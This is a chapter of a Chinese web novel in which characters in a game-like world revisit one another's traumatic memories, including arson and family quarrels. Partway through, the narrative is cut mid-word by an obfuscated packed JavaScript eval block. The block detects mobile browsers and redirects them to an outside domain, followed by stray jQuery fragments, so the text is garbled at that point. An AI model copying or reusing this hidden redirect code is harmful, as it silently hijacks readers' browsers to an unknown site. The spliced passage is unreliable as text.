“学姐,你手脚还蛮干净的”,顾盼之蹲在她身前,薅起头发逼迫她直视自己,“我说你怎么就转了性,莫名其妙就原谅了我们呢。”
“原来是在这等着我们啊”,顾盼之虽是笑着的,眼底却是一片冷意,“我的骨肉很好用吧?”
蒋依纯脸色一变,“你全都知道了?”她扯了扯嘴角,挑衅道:“哼,确实很好用,他都长这么大了。”
“是吗?那谢谢你了,长这么大还得拱手送给我。”顾盼之忽地凑到她耳边低声说道:“你猜,你有能力坐到榜六的位置,我有没有啊?”
蒋依纯听了这话反倒冷静下来,面无表情地看着她,“谢谢你的忠告。”
下一瞬,所有的人时间快速跳转,系统的电子音响起:【现已开启检讨大会,检查到玩家存在违纪行为的,开始检讨】
天旋地转中,顾盼之看向一旁的徐守语,自己在记忆里死了那么多回的事情还是别和他讲了吧,她冷漠地想,反正也无所谓。
蒋依纯身上的伤已经好了,那套校服也被换下,套上了洁白的长袍,穿梭于一个个彩色的泡泡间。
第一个是江屿,身形颀长的少年沉默看着眼前熟悉的男女,男人长相清俊,垂着头看不清表情;女人发了疯一般地砸着东西,旁边的人赶忙拉住她,没用。反倒是更加助长了她的怒火,反手抄起椅子砸到别人身上。
江屿没什么反应,只是熟练地躲在墙角,靠在墙上,屋里的吵闹声越发响了,他们扯开了打架的两人,开始指责女人。
江屿浑身的力气一点点被抽走,他无力地滑落,蜷缩着身子。
他低着头,没注意到女人忽然暴起,冲进厨房里举出把菜刀四处乱砍。江屿仿佛被溺在深海里,始终听不见外界的喧嚣。
蒋依纯看了看女人的脸,思索片刻翻出了另一个泡沫球——宁如尘。
宁如尘则是怔怔地紧盯眼前疯狂的女人,她的脸上溅满了血迹,地上躺着生死未卜的一男一女。那张平常冷酷的脸扭曲着,她看向宁如尘,大笑着不知道在说什么,炽热的火焰瞬间席卷了那座房子,她只能透过火光看到那个扭曲的黑影。
“小姑……”
黑影愣了下,猛地扑向她,“是尘尘啊,快来陪小姑吧,快来!”话毕,宁如尘手臂一痛,这个疯女人给她注射了镇静剂!
宁如尘扑通一下倒地,破碎的木渣扎的生疼,视线也开始模糊,火焰噼啪的爆裂声中,她只能眼睁睁地看着女人青筋暴起的手臂死死攥着她的腿,一步一步走向拉入火坑,她被碎石划开了背,留下一道蜿蜒的血路。
“别担心,小姑的尘尘,你的姑姑和姑父也在哦,别怕别怕。”
火焰四起,浓烟滚滚,什么也看不见,只能听到女人最后一句带着笑意的呢喃。
泡沫球噗地炸开。
蒋依纯幸灾乐祸地耸耸肩,悠哉悠哉地晃到了另一个场景。
“阿晋……”
狂风席卷,铅灰色的天,沉甸甸地压下来,细雪斜飞,笼盖了整座山,天与地的界限被抹去,世界只剩下一片混沌的苍白。
就在那么片苍白中,熟悉的身影出现,她背对着徐守语,乌黑的卷发肆意地飘飞,即使远隔万里,她也仿佛听见了徐守语的声音,远远地转过身挥手。
徐守语抬脚想追去,跑到一半却发现暴雪遮盖了她的身影。他又回头望去,却发现来时的脚印早已被风雪抹平。
于是他孤零零地站在白皑皑的天地中,不知道为谁而来、也不知道从何离开。空间被无限放大,时间在此凝固。
蒋依纯脚步不停,这些人在她看来已经威胁不到自己了,她到处蹦哒着,终于在一处停下。
5月份的太阳正毒辣的很,晒得人头晕眼花,这楼有些年头了,灰白色的外墙坑坑洼洼被照得发亮,几棵树歪歪扭扭地挡在楼前,漏下稀疏的光影。
此时是下午,一天中最热的时候,楼道间没什么人,空调外机隆隆响着,顾盼之躲开台阶上不知名的污渍、绕开缺德的邻居乱扔的鞋子,看向眼前这扇漆黑的大门,与其他人门上一正面的广告相比,这家人算得上是干净。
门的隔音效果不大好,她能明显听到隐约传来电视机的声音与模糊的骂声。
吱呀——
顾盼之的表情全都消失了,就像是个木头人,屋里站着一位穿着围裙的女性,个子不高,约莫到顾盼之的嘴唇处,她愤怒地指着沙发上女孩骂,女孩看着像是个高中生,白皙的脸涨得通红,卷发凌乱地搭在胸前,留着泪抽噎地顶嘴。
还有一个,顾盼之想也不想侧过头,果然另一个小沙发上坐着一个胖胖的中年男性,他脸上表情很严肃,皱着眉看两人闹。
“哼。”顾盼之冷笑一声,靠在门上旁观这家人的闹剧。
女孩越说越兴奋,她直接站起来,指着女人的鼻子开始骂,不出声的男人立马露面,打断她的话,严厉地指责。
女孩一下子转过身怒视着男人,破罐子破摔地尖叫一声,转身冲进房间,狠狠地摔上门。
这下可就捅着马蜂窝了,男人仿佛被激怒的狼狗,扑上来狠狠地砸着门,嘴里骂个不停,女人抹着泪过来阻止,却被一下推开。
“砰砰砰!”
门被砸得震天响,女孩捂着耳朵缩在门背后,无声地哭泣。
“哎呀,学妹总算找到你啦”,蒋依纯忽然出现,她内心有些不适,却还是笑嘻嘻地问道,“这该怎么办呀,学妹。”
“不知道。”顾盼之面上没什么表情,心中也是空落落的一片。
是啊,该怎么办呢?当时自己是怎么想的,她把视线落在狠狠擦去眼泪的女孩身上,她做不到通过伤害自己来报复他们,她没那么蠢;她也做不到伤害他们,她没那么无情。
那就只有一种办法,等。
等自己长大,等自己成家,等自己翅膀硬了再飞离这片泥潭。
可这真的是泥潭吗,顾盼之抬头望向门外,女人整理起残局,絮絮叨叨地埋怨男人对女儿太凶了,男人也是愧疚地低下头。
只半小时,女孩被劝出来乖乖地吃上了饭,谁能想得到这么其乐融融的一家再刚刚还吵的要死要活的呢?
顾盼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502630|170424||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之的脑海里闪过过去十八年的争吵画面,成绩、未来、钱,贯穿了她十八年的痛苦。
“你是不是觉得我很矫情?”顾盼之忽然出声问道:“我的过去也没那么不堪,家里受过最大的委屈就是被骂,我还挺幸福的吧,我妈很爱我,我爸也是。我们加比上不足,比下总有余吧。”
顾盼之的声音依旧平静,“他们从没打过我,也没苛刻我,只不过是嘴上骂骂而已。”
所以,她爱得不纯粹,恨得也不彻底,爱得时候恨不得立刻长大,倾尽所有让他们幸福;恨得时候,在无数个无人知晓的深夜咒骂。
她的痛苦只是一场毛毛小雨,细微得甚至算不上是雨,只不过玻璃上的雨痕越积越深。
所以尽管她不缺爱,却嫉妒地争抢爱,哪怕是一点点也足够她落泪。
“那你打算怎么做呢?”蒋依纯默默地凑上前,语气中带有诱惑,“那你恨他们吗?恨她吗?”她指了指面上带笑的女孩。
“不。”顾盼之坚定地摇摇头,“都已经过去了,反正我现在在这也回不去不是吗?”
她对上蒋依纯慌张的眼神,甚至笑出了声,“我不是说过了吗?反正我和他们一辈子也就这样了。逃避也挺好的,等在长大点说不定我们就能和睦相处了。”
“至于我自己?为什么要对过去的自己有这么大的恶意,她还小,她的矫情、她的任性、她的痛苦都不可能让我恨她。”顾盼之缓缓地走到女孩身边,轻轻地抚着她的脸,哪怕她感知不到。
“好了,学姐,那你呢,你又在恨什么?”顾盼之突然回身,做出和刚刚如出一辙的动作,轻轻地、缓缓地抚上蒋依纯的脸,她不知何时早已泪流满面。
顾盼之轻柔地搂过她的脸,蒋依纯靠在她的怀里无声地哭泣。
顾盼之的身上有一股太阳晒过的味道,她的声也很温柔,在她怀里像是窝在一团太阳下的棉花一样。
“你在恨什么呢?恨这个世界不公平,恨他为什么偏偏找上了你,恨你自己没本事,还是恨你为什么要醒来打破这个虚假的世界?”
“恨,我为什么要恨,我恨他?我还要谢谢他,多亏他我现在才会这么厉害,我要让所有人知道,我是最有天赋最有本事的人!”
“我知道,我知道,我们依纯是这个世界上最厉害的人”,顾盼之拍拍她的背,安抚道:“我们依纯呀,要证明给所有人看,也要证明给爸爸妈妈看,是不是呀。”
怀里的身子渐渐地软下来,顾盼之偷偷地笑着,“好啦好啦”,她捧起蒋依纯的脸,像是对待这个世界上最珍贵的宝物那般小心地拭去眼泪。
“痛不痛啊”,顾盼之问出了在那个夜晚未得到回答的问题,“眼睛被划破的时候是不是很痛,一次次被迫死亡的时候是不是很痛啊,我们依纯真是厉害啊,怎么这么厉害。”
随着话音落地,蒋依纯再也控制不住地哭起来,埋进她怀里颠三倒四地哭着说“对不起。”
顾盼之拍着她的背,抬头看向桌前的女孩,她模糊的面容变得清晰,顾盼之轻笑一声,那张脸长的自己完全不一样。